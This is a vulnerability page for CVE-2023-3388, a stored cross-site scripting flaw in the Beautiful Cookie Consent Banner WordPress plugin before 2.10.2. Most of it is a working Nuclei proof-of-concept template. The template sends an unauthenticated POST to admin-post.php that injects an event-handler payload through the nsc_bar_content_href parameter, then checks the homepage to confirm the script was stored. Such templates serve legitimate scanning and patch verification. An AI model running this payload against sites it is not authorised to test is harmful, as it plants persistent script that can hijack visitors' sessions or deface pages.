CVE-2023-3388: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting

2025-12-12 Beautiful Cookie Consent Banner PoC Public

Description

The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.

PoC

id: CVE-2023-3388

info:
  name: Beautiful Cookie Consent Banner < 2.10.2 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: |
    The Beautiful Cookie Consent Banner for WordPress is vulnerable to Stored Cross-Site Scripting via the 'nsc_bar_content_href' parameter in versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. A partial patch was made available in 2.10.1 and the issue was fully patched in 2.10.2.
  impact: |
    Attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking, defacement, or redirection.
  remediation: |
    Update to version 2.10.2 or later.
  reference:
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2857982%40beautiful-and-responsive-cookie-consent&new=2857982%40beautiful-and-responsive-cookie-consent&sfp_email=&sfph_mail=
    - https://www.wordfence.com/blog/2023/05/wordfence-firewall-blocks-bizarre-large-scale-xss-campaign/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/542a4079-b1a2-49bc-9ddd-ba7978c9992e?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3388
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2023-3388
    cwe-id: CWE-79
    epss-score: 0.84341
    epss-percentile: 0.99685
    cpe: cpe:2.3:a:beautiful-cookie-banner:beautiful_cookie_consent_banner:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: beautiful-cookie-banner
    product: beautiful_cookie_consent_banner
    framework: wordpress
  tags: cve,cve2023,wordpress,wp,wp-plugin,beautiful-cookie-banner,xss,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsc_bar_activate_banner=1&nsc_bar_activate_test_banner=0&nsc_bar_content_href=%22%20style%3ddisplay%3ablock%3bcontent-visibility%3aauto%20oncontentvisibilityautostatechange%3d%22alert(document.domain)&nsc_bar_type=opt-in

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'window\.cookieconsent\.initialise\({'
          - '"href":\s+"\\" style=display:block;content-visibility:auto oncontentvisibilityautostatechange=\\"alert\(document\.domain\)"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 490a0046304402206b99a046fc8c1516819f270ab79a254ff5e7b4fb788c6584a4f9f99076eaea5f02207c87fa3643f3cd03b235f116cb1fdc8dfb1f674a3f677c7187c8c1cf98d7affc:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities